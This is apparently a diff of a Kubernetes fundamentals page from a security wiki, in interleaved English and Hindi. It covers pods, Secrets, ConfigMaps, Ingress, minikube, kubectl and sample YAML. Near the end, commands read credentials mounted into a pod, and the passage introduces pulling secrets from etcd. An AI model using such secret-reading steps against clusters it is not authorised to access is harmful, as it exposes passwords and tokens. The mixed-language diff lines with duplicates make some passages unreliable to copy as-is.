When a pod creates data that shouldn't be lost when the pod disappear it should be stored in a physical volume. **Kubernetes allow to attach a volume to a pod to persist the data**. The volume can be in the local machine or in a **remote storage**. If you are running pods in different physical nodes you should use a remote storage so all the pods can access it.
|
||||
जब एक पॉड डेटा बनाता है जो पॉड के गायब होने पर नहीं खोना चाहिए, तो इसे एक भौतिक वॉल्यूम में संग्रहीत किया जाना चाहिए। **कुबेरनेट्स डेटा को स्थायी रखने के लिए एक पॉड में वॉल्यूम संलग्न करने की अनुमति देता है**। वॉल्यूम स्थानीय मशीन में या **दूरस्थ भंडारण** में हो सकता है। यदि आप विभिन्न भौतिक नोड्स में पॉड्स चला रहे हैं, तो आपको एक दूरस्थ भंडारण का उपयोग करना चाहिए ताकि सभी पॉड्स इसे एक्सेस कर सकें।
|
||||
|
||||
**Other configurations:**
|
||||
**अन्य कॉन्फ़िगरेशन:**
|
||||
|
||||
- **ConfigMap**: You can configure **URLs** to access services. The pod will obtain data from here to know how to communicate with the rest of the services (pods). Note that this is not the recommended place to save credentials!
|
||||
- **Secret**: This is the place to **store secret data** like passwords, API keys... encoded in B64. The pod will be able to access this data to use the required credentials.
|
||||
- **Deployments**: This is where the components to be run by kubernetes are indicated. A user usually won't work directly with pods, pods are abstracted in **ReplicaSets** (number of same pods replicated), which are run via deployments. Note that deployments are for **stateless** applications. The minimum configuration for a deployment is the name and the image to run.
|
||||
- **StatefulSet**: This component is meant specifically for applications like **databases** which needs to **access the same storage**.
|
||||
- **Ingress**: This is the configuration that is use to **expose the application publicly with an URL**. Note that this can also be done using external services, but this is the correct way to expose the application.
|
||||
- If you implement an Ingress you will need to create **Ingress Controllers**. The Ingress Controller is a **pod** that will be the endpoint that will receive the requests and check and will load balance them to the services. the ingress controller will **send the request based on the ingress rules configured**. Note that the ingress rules can point to different paths or even subdomains to different internal kubernetes services.
|
||||
- A better security practice would be to use a cloud load balancer or a proxy server as entrypoint to don't have any part of the Kubernetes cluster exposed.
|
||||
- When request that doesn't match any ingress rule is received, the ingress controller will direct it to the "**Default backend**". You can `describe` the ingress controller to get the address of this parameter.
|
||||
- `minikube addons enable ingress`
|
||||
- **ConfigMap**: आप सेवाओं तक पहुँचने के लिए **URLs** कॉन्फ़िगर कर सकते हैं। पॉड यहाँ से डेटा प्राप्त करेगा यह जानने के लिए कि बाकी सेवाओं (पॉड्स) के साथ कैसे संवाद करना है। ध्यान दें कि यह क्रेडेंशियल्स को सहेजने के लिए अनुशंसित स्थान नहीं है!
|
||||
- **Secret**: यह **गुप्त डेटा** जैसे पासवर्ड, एपीआई कुंजी... को B64 में एन्कोड करने के लिए **स्टोर करने का स्थान** है। पॉड इस डेटा को आवश्यक क्रेडेंशियल्स का उपयोग करने के लिए एक्सेस कर सकेगा।
|
||||
- **Deployments**: यह वह स्थान है जहाँ कुबेरनेट्स द्वारा चलाए जाने वाले घटकों को इंगित किया जाता है। एक उपयोगकर्ता आमतौर पर सीधे पॉड्स के साथ काम नहीं करेगा, पॉड्स को **ReplicaSets** (एक समान पॉड्स की संख्या जो दोहराई जाती है) में अमूर्त किया जाता है, जिन्हें तैनातियों के माध्यम से चलाया जाता है। ध्यान दें कि तैनातियाँ **stateless** अनुप्रयोगों के लिए होती हैं। तैनाती के लिए न्यूनतम कॉन्फ़िगरेशन नाम और चलाने के लिए छवि है।
|
||||
- **StatefulSet**: यह घटक विशेष रूप से **डेटाबेस** जैसे अनुप्रयोगों के लिए है जिन्हें **समान भंडारण** तक पहुँचने की आवश्यकता होती है।
|
||||
- **Ingress**: यह वह कॉन्फ़िगरेशन है जिसका उपयोग **URL के साथ अनुप्रयोग को सार्वजनिक रूप से उजागर करने के लिए किया जाता है**। ध्यान दें कि यह बाहरी सेवाओं का उपयोग करके भी किया जा सकता है, लेकिन यह अनुप्रयोग को उजागर करने का सही तरीका है।
|
||||
- यदि आप एक इनग्रेस लागू करते हैं तो आपको **Ingress Controllers** बनानी होंगी। इनग्रेस कंट्रोलर एक **पॉड** है जो वह अंत बिंदु होगा जो अनुरोध प्राप्त करेगा और उन्हें जांचेगा और सेवाओं के लिए लोड संतुलित करेगा। इनग्रेस कंट्रोलर **कॉन्फ़िगर की गई इनग्रेस नियमों के आधार पर अनुरोध भेजेगा**। ध्यान दें कि इनग्रेस नियम विभिन्न पथों या यहां तक कि विभिन्न आंतरिक कुबेरनेट्स सेवाओं के लिए उपडोमेन की ओर इशारा कर सकते हैं।
|
||||
- एक बेहतर सुरक्षा प्रथा यह होगी कि किसी भी कुबेरनेट्स क्लस्टर के भाग को उजागर न करने के लिए एक क्लाउड लोड बैलेंसर या प्रॉक्सी सर्वर का उपयोग किया जाए।
|
||||
- जब कोई अनुरोध प्राप्त होता है जो किसी भी इनग्रेस नियम से मेल नहीं खाता है, तो इनग्रेस कंट्रोलर इसे "**डिफ़ॉल्ट बैकएंड**" की ओर निर्देशित करेगा। आप इस पैरामीटर के पते को प्राप्त करने के लिए इनग्रेस कंट्रोलर का `describe` कर सकते हैं।
|
||||
- `minikube addons enable ingress`
|
||||
|
||||
### PKI infrastructure - Certificate Authority CA:
|
||||
|
||||

|
||||
|
||||
- CA is the trusted root for all certificates inside the cluster.
|
||||
- Allows components to validate to each other.
|
||||
- All cluster certificates are signed by the CA.
|
||||
- ETCd has its own certificate.
|
||||
- types:
|
||||
- apiserver cert.
|
||||
- kubelet cert.
|
||||
- scheduler cert.
|
||||
- CA क्लस्टर के भीतर सभी प्रमाणपत्रों के लिए विश्वसनीय रूट है।
|
||||
- घटकों को एक-दूसरे को मान्य करने की अनुमति देता है।
|
||||
- सभी क्लस्टर प्रमाणपत्र CA द्वारा हस्ताक्षरित होते हैं।
|
||||
- ETCd का अपना प्रमाणपत्र है।
|
||||
- प्रकार:
|
||||
- एपीआई सर्वर प्रमाणपत्र।
|
||||
- कुबलेट प्रमाणपत्र।
|
||||
- शेड्यूलर प्रमाणपत्र।
|
||||
|
||||
## Basic Actions
|
||||
|
||||
### Minikube
|
||||
|
||||
**Minikube** can be used to perform some **quick tests** on kubernetes without needing to deploy a whole kubernetes environment. It will run the **master and node processes in one machine**. Minikube will use virtualbox to run the node. See [**here how to install it**](https://minikube.sigs.k8s.io/docs/start/).
|
||||
|
||||
**Minikube** का उपयोग कुछ **त्वरित परीक्षण** करने के लिए किया जा सकता है कुबेरनेट्स पर बिना पूरे कुबेरनेट्स वातावरण को तैनात किए। यह **एक मशीन में मास्टर और नोड प्रक्रियाओं को चलाएगा**। Minikube नोड चलाने के लिए वर्चुअलबॉक्स का उपयोग करेगा। [**यहां देखें कि इसे कैसे स्थापित करें**](https://minikube.sigs.k8s.io/docs/start/)।
|
||||
```
|
||||
$ minikube start
|
||||
😄 minikube v1.19.0 on Ubuntu 20.04
|
||||
✨ Automatically selected the virtualbox driver. Other choices: none, ssh
|
||||
💿 Downloading VM boot image ...
|
||||
> minikube-v1.19.0.iso.sha256: 65 B / 65 B [-------------] 100.00% ? p/s 0s
|
||||
> minikube-v1.19.0.iso: 244.49 MiB / 244.49 MiB 100.00% 1.78 MiB p/s 2m17.
|
||||
> minikube-v1.19.0.iso.sha256: 65 B / 65 B [-------------] 100.00% ? p/s 0s
|
||||
> minikube-v1.19.0.iso: 244.49 MiB / 244.49 MiB 100.00% 1.78 MiB p/s 2m17.
|
||||
👍 Starting control plane node minikube in cluster minikube
|
||||
💾 Downloading Kubernetes v1.20.2 preload ...
|
||||
> preloaded-images-k8s-v10-v1...: 491.71 MiB / 491.71 MiB 100.00% 2.59 MiB
|
||||
> preloaded-images-k8s-v10-v1...: 491.71 MiB / 491.71 MiB 100.00% 2.59 MiB
|
||||
🔥 Creating virtualbox VM (CPUs=2, Memory=3900MB, Disk=20000MB) ...
|
||||
🐳 Preparing Kubernetes v1.20.2 on Docker 20.10.4 ...
|
||||
▪ Generating certificates and keys ...
|
||||
▪ Booting up control plane ...
|
||||
▪ Configuring RBAC rules ...
|
||||
▪ Generating certificates and keys ...
|
||||
▪ Booting up control plane ...
|
||||
▪ Configuring RBAC rules ...
|
||||
🔎 Verifying Kubernetes components...
|
||||
▪ Using image gcr.io/k8s-minikube/storage-provisioner:v5
|
||||
▪ Using image gcr.io/k8s-minikube/storage-provisioner:v5
|
||||
🌟 Enabled addons: storage-provisioner, default-storageclass
|
||||
🏄 Done! kubectl is now configured to use "minikube" cluster and "default" namespace by defaul
|
||||
|
||||
@@ -106,11 +105,9 @@ $ minikube delete
|
||||
🔥 Deleting "minikube" in virtualbox ...
|
||||
💀 Removed all traces of the "minikube" cluster
|
||||
```
|
||||
|
||||
### Kubectl Basics
|
||||
|
||||
**`Kubectl`** is the command line tool for kubernetes clusters. It communicates with the Api server of the master process to perform actions in kubernetes or to ask for data.
|
||||
|
||||
**`Kubectl`** क्यूबेरनेट्स क्लस्टर के लिए कमांड लाइन टूल है। यह क्यूबेरनेट्स में क्रियाएँ करने या डेटा मांगने के लिए मास्टर प्रक्रिया के एपीआई सर्वर के साथ संवाद करता है।
|
||||
```bash
|
||||
kubectl version #Get client and server version
|
||||
kubectl get pod
|
||||
@@ -141,188 +138,172 @@ kubectl delete deployment mongo-depl
|
||||
#Deploy from config file
|
||||
kubectl apply -f deployment.yml
|
||||
```
|
||||
|
||||
### Minikube Dashboard
|
||||
|
||||
The dashboard allows you to see easier what is minikube running, you can find the URL to access it in:
|
||||
|
||||
डैशबोर्ड आपको यह देखने की अनुमति देता है कि मिनीक्यूब क्या चला रहा है, आप इसे एक्सेस करने के लिए URL यहाँ पा सकते हैं:
|
||||
```
|
||||
minikube dashboard --url
|
||||
|
||||
|
||||
🔌 Enabling dashboard ...
|
||||
▪ Using image kubernetesui/dashboard:v2.3.1
|
||||
▪ Using image kubernetesui/metrics-scraper:v1.0.7
|
||||
▪ Using image kubernetesui/dashboard:v2.3.1
|
||||
▪ Using image kubernetesui/metrics-scraper:v1.0.7
|
||||
🤔 Verifying dashboard health ...
|
||||
🚀 Launching proxy ...
|
||||
🤔 Verifying proxy health ...
|
||||
http://127.0.0.1:50034/api/v1/namespaces/kubernetes-dashboard/services/http:kubernetes-dashboard:/proxy/
|
||||
```
|
||||
|
||||
### YAML configuration files examples
|
||||
|
||||
Each configuration file has 3 parts: **metadata**, **specification** (what need to be launch), **status** (desired state).\
|
||||
Inside the specification of the deployment configuration file you can find the template defined with a new configuration structure defining the image to run:
|
||||
प्रत्येक कॉन्फ़िगरेशन फ़ाइल में 3 भाग होते हैं: **metadata**, **specification** (क्या लॉन्च करना है), **status** (इच्छित स्थिति)।\
|
||||
डिप्लॉयमेंट कॉन्फ़िगरेशन फ़ाइल की स्पेसिफिकेशन के अंदर आप एक टेम्पलेट पा सकते हैं जो चलाने के लिए इमेज को परिभाषित करने वाली एक नई कॉन्फ़िगरेशन संरचना के साथ परिभाषित है:
|
||||
|
||||
**Example of Deployment + Service declared in the same configuration file (from** [**here**](https://gitlab.com/nanuchi/youtube-tutorial-series/-/blob/master/demo-kubernetes-components/mongo.yaml)**)**
|
||||
|
||||
As a service usually is related to one deployment it's possible to declare both in the same configuration file (the service declared in this config is only accessible internally):
|
||||
|
||||
चूंकि एक सेवा आमतौर पर एक डिप्लॉयमेंट से संबंधित होती है, इसलिए दोनों को एक ही कॉन्फ़िगरेशन फ़ाइल में घोषित करना संभव है (इस कॉन्फ़िगरेशन में घोषित सेवा केवल आंतरिक रूप से सुलभ है):
|
||||
```yaml
|
||||
apiVersion: apps/v1
|
||||
kind: Deployment
|
||||
metadata:
|
||||
name: mongodb-deployment
|
||||
labels:
|
||||
app: mongodb
|
||||
name: mongodb-deployment
|
||||
labels:
|
||||
app: mongodb
|
||||
spec:
|
||||
replicas: 1
|
||||
selector:
|
||||
matchLabels:
|
||||
app: mongodb
|
||||
template:
|
||||
metadata:
|
||||
labels:
|
||||
app: mongodb
|
||||
spec:
|
||||
containers:
|
||||
- name: mongodb
|
||||
image: mongo
|
||||
ports:
|
||||
- containerPort: 27017
|
||||
env:
|
||||
- name: MONGO_INITDB_ROOT_USERNAME
|
||||
valueFrom:
|
||||
secretKeyRef:
|
||||
name: mongodb-secret
|
||||
key: mongo-root-username
|
||||
- name: MONGO_INITDB_ROOT_PASSWORD
|
||||
valueFrom:
|
||||
secretKeyRef:
|
||||
name: mongodb-secret
|
||||
key: mongo-root-password
|
||||
replicas: 1
|
||||
selector:
|
||||
matchLabels:
|
||||
app: mongodb
|
||||
template:
|
||||
metadata:
|
||||
labels:
|
||||
app: mongodb
|
||||
spec:
|
||||
containers:
|
||||
- name: mongodb
|
||||
image: mongo
|
||||
ports:
|
||||
- containerPort: 27017
|
||||
env:
|
||||
- name: MONGO_INITDB_ROOT_USERNAME
|
||||
valueFrom:
|
||||
secretKeyRef:
|
||||
name: mongodb-secret
|
||||
key: mongo-root-username
|
||||
- name: MONGO_INITDB_ROOT_PASSWORD
|
||||
valueFrom:
|
||||
secretKeyRef:
|
||||
name: mongodb-secret
|
||||
key: mongo-root-password
|
||||
---
|
||||
apiVersion: v1
|
||||
kind: Service
|
||||
metadata:
|
||||
name: mongodb-service
|
||||
name: mongodb-service
|
||||
spec:
|
||||
selector:
|
||||
app: mongodb
|
||||
ports:
|
||||
- protocol: TCP
|
||||
port: 27017
|
||||
targetPort: 27017
|
||||
selector:
|
||||
app: mongodb
|
||||
ports:
|
||||
- protocol: TCP
|
||||
port: 27017
|
||||
targetPort: 27017
|
||||
```
|
||||
**बाहरी सेवा कॉन्फ़िगरेशन का उदाहरण**
|
||||
|
||||
**Example of external service config**
|
||||
|
||||
This service will be accessible externally (check the `nodePort` and `type: LoadBlancer` attributes):
|
||||
|
||||
यह सेवा बाहरी रूप से सुलभ होगी (चेक करें `nodePort` और `type: LoadBlancer` विशेषताएँ):
|
||||
```yaml
|
||||
---
|
||||
apiVersion: v1
|
||||
kind: Service
|
||||
metadata:
|
||||
name: mongo-express-service
|
||||
name: mongo-express-service
|
||||
spec:
|
||||
selector:
|
||||
app: mongo-express
|
||||
type: LoadBalancer
|
||||
ports:
|
||||
- protocol: TCP
|
||||
port: 8081
|
||||
targetPort: 8081
|
||||
nodePort: 30000
|
||||
selector:
|
||||
app: mongo-express
|
||||
type: LoadBalancer
|
||||
ports:
|
||||
- protocol: TCP
|
||||
port: 8081
|
||||
targetPort: 8081
|
||||
nodePort: 30000
|
||||
```
|
||||
|
||||
> [!NOTE]
|
||||
> This is useful for testing but for production you should have only internal services and an Ingress to expose the application.
|
||||
> यह परीक्षण के लिए उपयोगी है लेकिन उत्पादन के लिए आपके पास केवल आंतरिक सेवाएँ और एप्लिकेशन को उजागर करने के लिए एक Ingress होना चाहिए।
|
||||
|
||||
**Example of Ingress config file**
|
||||
|
||||
This will expose the application in `http://dashboard.com`.
|
||||
**Ingress कॉन्फ़िग फ़ाइल का उदाहरण**
|
||||
|
||||
यह एप्लिकेशन को `http://dashboard.com` पर उजागर करेगा।
|
||||
```yaml
|
||||
apiVersion: networking.k8s.io/v1
|
||||
kind: Ingress
|
||||
metadata:
|
||||
name: dashboard-ingress
|
||||
namespace: kubernetes-dashboard
|
||||
name: dashboard-ingress
|
||||
namespace: kubernetes-dashboard
|
||||
spec:
|
||||
rules:
|
||||
- host: dashboard.com
|
||||
http:
|
||||
paths:
|
||||
- backend:
|
||||
serviceName: kubernetes-dashboard
|
||||
servicePort: 80
|
||||
rules:
|
||||
- host: dashboard.com
|
||||
http:
|
||||
paths:
|
||||
- backend:
|
||||
serviceName: kubernetes-dashboard
|
||||
servicePort: 80
|
||||
```
|
||||
|
||||
**Example of secrets config file**
|
||||
|
||||
Note how the password are encoded in B64 (which isn't secure!)
|
||||
|
||||
ध्यान दें कि पासवर्ड B64 में एन्कोडेड हैं (जो सुरक्षित नहीं है!)
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Secret
|
||||
metadata:
|
||||
name: mongodb-secret
|
||||
name: mongodb-secret
|
||||
type: Opaque
|
||||
data:
|
||||
mongo-root-username: dXNlcm5hbWU=
|
||||
mongo-root-password: cGFzc3dvcmQ=
|
||||
mongo-root-username: dXNlcm5hbWU=
|
||||
mongo-root-password: cGFzc3dvcmQ=
|
||||
```
|
||||
**ConfigMap का उदाहरण**
|
||||
|
||||
**Example of ConfigMap**
|
||||
|
||||
A **ConfigMap** is the configuration that is given to the pods so they know how to locate and access other services. In this case, each pod will know that the name `mongodb-service` is the address of a pod that they can communicate with (this pod will be executing a mongodb):
|
||||
|
||||
एक **ConfigMap** वह कॉन्फ़िगरेशन है जो पॉड्स को दिया जाता है ताकि वे जान सकें कि अन्य सेवाओं को कैसे ढूंढना और उन तक पहुंचना है। इस मामले में, प्रत्येक पॉड को पता होगा कि नाम `mongodb-service` एक पॉड का पता है जिसके साथ वे संवाद कर सकते हैं (यह पॉड एक mongodb निष्पादित करेगा):
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: ConfigMap
|
||||
metadata:
|
||||
name: mongodb-configmap
|
||||
name: mongodb-configmap
|
||||
data:
|
||||
database_url: mongodb-service
|
||||
database_url: mongodb-service
|
||||
```
|
||||
|
||||
Then, inside a **deployment config** this address can be specified in the following way so it's loaded inside the env of the pod:
|
||||
|
||||
फिर, एक **deployment config** के अंदर, इस पते को इस प्रकार निर्दिष्ट किया जा सकता है ताकि यह पॉड के env के अंदर लोड हो जाए:
|
||||
```yaml
|
||||
[...]
|
||||
spec:
|
||||
[...]
|
||||
template:
|
||||
[...]
|
||||
spec:
|
||||
containers:
|
||||
- name: mongo-express
|
||||
image: mongo-express
|
||||
ports:
|
||||
- containerPort: 8081
|
||||
env:
|
||||
- name: ME_CONFIG_MONGODB_SERVER
|
||||
valueFrom:
|
||||
configMapKeyRef:
|
||||
name: mongodb-configmap
|
||||
key: database_url
|
||||
[...]
|
||||
template:
|
||||
[...]
|
||||
spec:
|
||||
containers:
|
||||
- name: mongo-express
|
||||
image: mongo-express
|
||||
ports:
|
||||
- containerPort: 8081
|
||||
env:
|
||||
- name: ME_CONFIG_MONGODB_SERVER
|
||||
valueFrom:
|
||||
configMapKeyRef:
|
||||
name: mongodb-configmap
|
||||
key: database_url
|
||||
[...]
|
||||
```
|
||||
|
||||
**Example of volume config**
|
||||
|
||||
You can find different example of storage configuration yaml files in [https://gitlab.com/nanuchi/youtube-tutorial-series/-/tree/master/kubernetes-volumes](https://gitlab.com/nanuchi/youtube-tutorial-series/-/tree/master/kubernetes-volumes).\
|
||||
**Note that volumes aren't inside namespaces**
|
||||
**ध्यान दें कि वॉल्यूम नामस्थान के अंदर नहीं हैं**
|
||||
|
||||
### Namespaces
|
||||
|
||||
Kubernetes supports **multiple virtual clusters** backed by the same physical cluster. These virtual clusters are called **namespaces**. These are intended for use in environments with many users spread across multiple teams, or projects. For clusters with a few to tens of users, you should not need to create or think about namespaces at all. You only should start using namespaces to have a better control and organization of each part of the application deployed in kubernetes.
|
||||
Kubernetes **एक ही भौतिक क्लस्टर** द्वारा समर्थित **कई आभासी क्लस्टर** का समर्थन करता है। इन आभासी क्लस्टरों को **नामस्थान** कहा जाता है। ये उन वातावरणों में उपयोग के लिए बनाए गए हैं जिनमें कई उपयोगकर्ता कई टीमों या परियोजनाओं में फैले हुए हैं। कुछ से लेकर दर्जनों उपयोगकर्ताओं वाले क्लस्टरों के लिए, आपको नामस्थान बनाने या उनके बारे में सोचने की आवश्यकता नहीं होनी चाहिए। आपको केवल नामस्थान का उपयोग करना शुरू करना चाहिए ताकि आप kubernetes में तैनात प्रत्येक भाग के बेहतर नियंत्रण और संगठन को प्राप्त कर सकें।
|
||||
|
||||
Namespaces provide a scope for names. Names of resources need to be unique within a namespace, but not across namespaces. Namespaces cannot be nested inside one another and **each** Kubernetes **resource** can only be **in** **one** **namespace**.
|
||||
|
||||
There are 4 namespaces by default if you are using minikube:
|
||||
नामस्थान नामों के लिए एक दायरा प्रदान करते हैं। संसाधनों के नाम को एक नामस्थान के भीतर अद्वितीय होना चाहिए, लेकिन नामस्थानों के बीच नहीं। नामस्थान एक-दूसरे के अंदर नहीं हो सकते और **प्रत्येक** Kubernetes **संसाधन** केवल **एक** **नामस्थान** में ही हो सकता है।
|
||||
|
||||
यदि आप minikube का उपयोग कर रहे हैं तो डिफ़ॉल्ट रूप से 4 नामस्थान हैं:
|
||||
```
|
||||
kubectl get namespace
|
||||
NAME STATUS AGE
|
||||
@@ -331,116 +312,108 @@ kube-node-lease Active 1d
|
||||
kube-public Active 1d
|
||||
kube-system Active 1d
|
||||
```
|
||||
|
||||
- **kube-system**: It's not meant or the users use and you shouldn't touch it. It's for master and kubectl processes.
|
||||
- **kube-public**: Publicly accessible date. Contains a configmap which contains cluster information
|
||||
- **kube-node-lease**: Determines the availability of a node
|
||||
- **default**: The namespace the user will use to create resources
|
||||
|
||||
- **kube-system**: यह उपयोगकर्ताओं के लिए नहीं है और आपको इसे छूना नहीं चाहिए। यह मास्टर और kubectl प्रक्रियाओं के लिए है।
|
||||
- **kube-public**: सार्वजनिक रूप से सुलभ डेटा। इसमें एक configmap है जिसमें क्लस्टर की जानकारी होती है।
|
||||
- **kube-node-lease**: एक नोड की उपलब्धता निर्धारित करता है।
|
||||
- **default**: वह नामस्थान जिसे उपयोगकर्ता संसाधन बनाने के लिए उपयोग करेगा।
|
||||
```bash
|
||||
#Create namespace
|
||||
kubectl create namespace my-namespace
|
||||
```
|
||||
|
||||
> [!NOTE]
|
||||
> Note that most Kubernetes resources (e.g. pods, services, replication controllers, and others) are in some namespaces. However, other resources like namespace resources and low-level resources, such as nodes and persistenVolumes are not in a namespace. To see which Kubernetes resources are and aren’t in a namespace:
|
||||
> ध्यान दें कि अधिकांश Kubernetes संसाधन (जैसे pods, services, replication controllers, और अन्य) कुछ namespaces में होते हैं। हालाँकि, अन्य संसाधन जैसे namespace संसाधन और निम्न-स्तरीय संसाधन, जैसे nodes और persistenVolumes एक namespace में नहीं होते हैं। यह देखने के लिए कि कौन से Kubernetes संसाधन एक namespace में हैं और कौन से नहीं:
|
||||
>
|
||||
> ```bash
|
||||
> kubectl api-resources --namespaced=true #In a namespace
|
||||
> kubectl api-resources --namespaced=false #Not in a namespace
|
||||
> kubectl api-resources --namespaced=true #एक namespace में
|
||||
> kubectl api-resources --namespaced=false #एक namespace में नहीं
|
||||
> ```
|
||||
|
||||
You can save the namespace for all subsequent kubectl commands in that context.
|
||||
|
||||
आप उस संदर्भ में सभी बाद के kubectl कमांड के लिए namespace को सहेज सकते हैं।
|
||||
```bash
|
||||
kubectl config set-context --current --namespace=<insert-namespace-name-here>
|
||||
```
|
||||
|
||||
### Helm
|
||||
|
||||
Helm is the **package manager** for Kubernetes. It allows to package YAML files and distribute them in public and private repositories. These packages are called **Helm Charts**.
|
||||
|
||||
Helm Kubernetes के लिए **पैकेज प्रबंधक** है। यह YAML फ़ाइलों को पैकेज करने और उन्हें सार्वजनिक और निजी रिपॉजिटरी में वितरित करने की अनुमति देता है। इन पैकेजों को **Helm Charts** कहा जाता है।
|
||||
```
|
||||
helm search <keyword>
|
||||
```
|
||||
|
||||
Helm is also a template engine that allows to generate config files with variables:
|
||||
Helm एक टेम्पलेट इंजन भी है जो वेरिएबल के साथ कॉन्फ़िग फ़ाइलें उत्पन्न करने की अनुमति देता है:
|
||||
|
||||
## Kubernetes secrets
|
||||
|
||||
A **Secret** is an object that **contains sensitive data** such as a password, a token or a key. Such information might otherwise be put in a Pod specification or in an image. Users can create Secrets and the system also creates Secrets. The name of a Secret object must be a valid **DNS subdomain name**. Read here [the official documentation](https://kubernetes.io/docs/concepts/configuration/secret/).
|
||||
एक **Secret** एक ऑब्जेक्ट है जो **संवेदनशील डेटा** जैसे पासवर्ड, टोकन या कुंजी को **शामिल** करता है। ऐसी जानकारी अन्यथा एक Pod स्पेसिफिकेशन या एक इमेज में रखी जा सकती है। उपयोगकर्ता Secrets बना सकते हैं और सिस्टम भी Secrets बनाता है। एक Secret ऑब्जेक्ट का नाम एक मान्य **DNS उपडोमेन नाम** होना चाहिए। यहाँ पढ़ें [आधिकारिक दस्तावेज़](https://kubernetes.io/docs/concepts/configuration/secret/)।
|
||||
|
||||
Secrets might be things like:
|
||||
Secrets कुछ इस प्रकार हो सकते हैं:
|
||||
|
||||
- API, SSH Keys.
|
||||
- OAuth tokens.
|
||||
- Credentials, Passwords (plain text or b64 + encryption).
|
||||
- Information or comments.
|
||||
- Database connection code, strings… .
|
||||
- Credentials, Passwords (plain text या b64 + encryption)।
|
||||
- जानकारी या टिप्पणियाँ।
|
||||
- डेटाबेस कनेक्शन कोड, स्ट्रिंग्स…।
|
||||
|
||||
There are different types of secrets in Kubernetes
|
||||
Kubernetes में विभिन्न प्रकार के secrets होते हैं
|
||||
|
||||
| Builtin Type | Usage |
|
||||
| ----------------------------------- | ----------------------------------------- |
|
||||
| **Opaque** | **arbitrary user-defined data (Default)** |
|
||||
| kubernetes.io/service-account-token | service account token |
|
||||
| kubernetes.io/dockercfg | serialized \~/.dockercfg file |
|
||||
| kubernetes.io/dockerconfigjson | serialized \~/.docker/config.json file |
|
||||
| kubernetes.io/basic-auth | credentials for basic authentication |
|
||||
| kubernetes.io/ssh-auth | credentials for SSH authentication |
|
||||
| kubernetes.io/tls | data for a TLS client or server |
|
||||
| bootstrap.kubernetes.io/token | bootstrap token data |
|
||||
| **Opaque** | **मनमाने उपयोगकर्ता-परिभाषित डेटा (डिफ़ॉल्ट)** |
|
||||
| kubernetes.io/service-account-token | सेवा खाता टोकन |
|
||||
| kubernetes.io/dockercfg | अनुक्रमित \~/.dockercfg फ़ाइल |
|
||||
| kubernetes.io/dockerconfigjson | अनुक्रमित \~/.docker/config.json फ़ाइल |
|
||||
| kubernetes.io/basic-auth | मूल प्रमाणीकरण के लिए क्रेडेंशियल्स |
|
||||
| kubernetes.io/ssh-auth | SSH प्रमाणीकरण के लिए क्रेडेंशियल्स |
|
||||
| kubernetes.io/tls | TLS क्लाइंट या सर्वर के लिए डेटा |
|
||||
| bootstrap.kubernetes.io/token | बूटस्ट्रैप टोकन डेटा |
|
||||
|
||||
> [!NOTE]
|
||||
> **The Opaque type is the default one, the typical key-value pair defined by users.**
|
||||
> **Opaque प्रकार डिफ़ॉल्ट है, उपयोगकर्ताओं द्वारा परिभाषित सामान्य कुंजी-मूल्य जोड़ी।**
|
||||
|
||||
**How secrets works:**
|
||||
**Secrets कैसे काम करते हैं:**
|
||||
|
||||

|
||||
|
||||
The following configuration file defines a **secret** called `mysecret` with 2 key-value pairs `username: YWRtaW4=` and `password: MWYyZDFlMmU2N2Rm`. It also defines a **pod** called `secretpod` that will have the `username` and `password` defined in `mysecret` exposed in the **environment variables** `SECRET_USERNAME` \_\_ and \_\_ `SECRET_PASSWOR`. It will also **mount** the `username` secret inside `mysecret` in the path `/etc/foo/my-group/my-username` with `0640` permissions.
|
||||
|
||||
निम्नलिखित कॉन्फ़िगरेशन फ़ाइल एक **secret** को परिभाषित करती है जिसे `mysecret` कहा जाता है जिसमें 2 कुंजी-मूल्य जोड़े `username: YWRtaW4=` और `password: MWYyZDFlMmU2N2Rm` होते हैं। यह एक **pod** को भी परिभाषित करता है जिसे `secretpod` कहा जाता है जो `mysecret` में परिभाषित `username` और `password` को **पर्यावरण चर** `SECRET_USERNAME` \_\_ और \_\_ `SECRET_PASSWOR` में उजागर करेगा। यह `mysecret` में `username` secret को `/etc/foo/my-group/my-username` पथ में `0640` अनुमतियों के साथ **माउंट** करेगा।
|
||||
```yaml:secretpod.yaml
|
||||
apiVersion: v1
|
||||
kind: Secret
|
||||
metadata:
|
||||
name: mysecret
|
||||
name: mysecret
|
||||
type: Opaque
|
||||
data:
|
||||
username: YWRtaW4=
|
||||
password: MWYyZDFlMmU2N2Rm
|
||||
username: YWRtaW4=
|
||||
password: MWYyZDFlMmU2N2Rm
|
||||
---
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
metadata:
|
||||
name: secretpod
|
||||
name: secretpod
|
||||
spec:
|
||||
containers:
|
||||
- name: secretpod
|
||||
image: nginx
|
||||
env:
|
||||
- name: SECRET_USERNAME
|
||||
valueFrom:
|
||||
secretKeyRef:
|
||||
name: mysecret
|
||||
key: username
|
||||
- name: SECRET_PASSWORD
|
||||
valueFrom:
|
||||
secretKeyRef:
|
||||
name: mysecret
|
||||
key: password
|
||||
volumeMounts:
|
||||
- name: foo
|
||||
mountPath: "/etc/foo"
|
||||
restartPolicy: Never
|
||||
volumes:
|
||||
- name: foo
|
||||
secret:
|
||||
secretName: mysecret
|
||||
items:
|
||||
- key: username
|
||||
path: my-group/my-username
|
||||
mode: 0640
|
||||
containers:
|
||||
- name: secretpod
|
||||
image: nginx
|
||||
env:
|
||||
- name: SECRET_USERNAME
|
||||
valueFrom:
|
||||
secretKeyRef:
|
||||
name: mysecret
|
||||
key: username
|
||||
- name: SECRET_PASSWORD
|
||||
valueFrom:
|
||||
secretKeyRef:
|
||||
name: mysecret
|
||||
key: password
|
||||
volumeMounts:
|
||||
- name: foo
|
||||
mountPath: "/etc/foo"
|
||||
restartPolicy: Never
|
||||
volumes:
|
||||
- name: foo
|
||||
secret:
|
||||
secretName: mysecret
|
||||
items:
|
||||
- key: username
|
||||
path: my-group/my-username
|
||||
mode: 0640
|
||||
```
|
||||
|
||||
```bash
|
||||
@@ -449,114 +422,97 @@ kubectl get pods #Wait until the pod secretpod is running
|
||||
kubectl exec -it secretpod -- bash
|
||||
env | grep SECRET && cat /etc/foo/my-group/my-username && echo
|
||||
```
|
||||
|
||||
### Secrets in etcd <a href="#discover-secrets-in-etcd" id="discover-secrets-in-etcd"></a>
|
||||
|
||||
**etcd** is a consistent and highly-available **key-value store** used as Kubernetes backing store for all cluster data. Let’s access to the secrets stored in etcd:
|
||||
|
||||
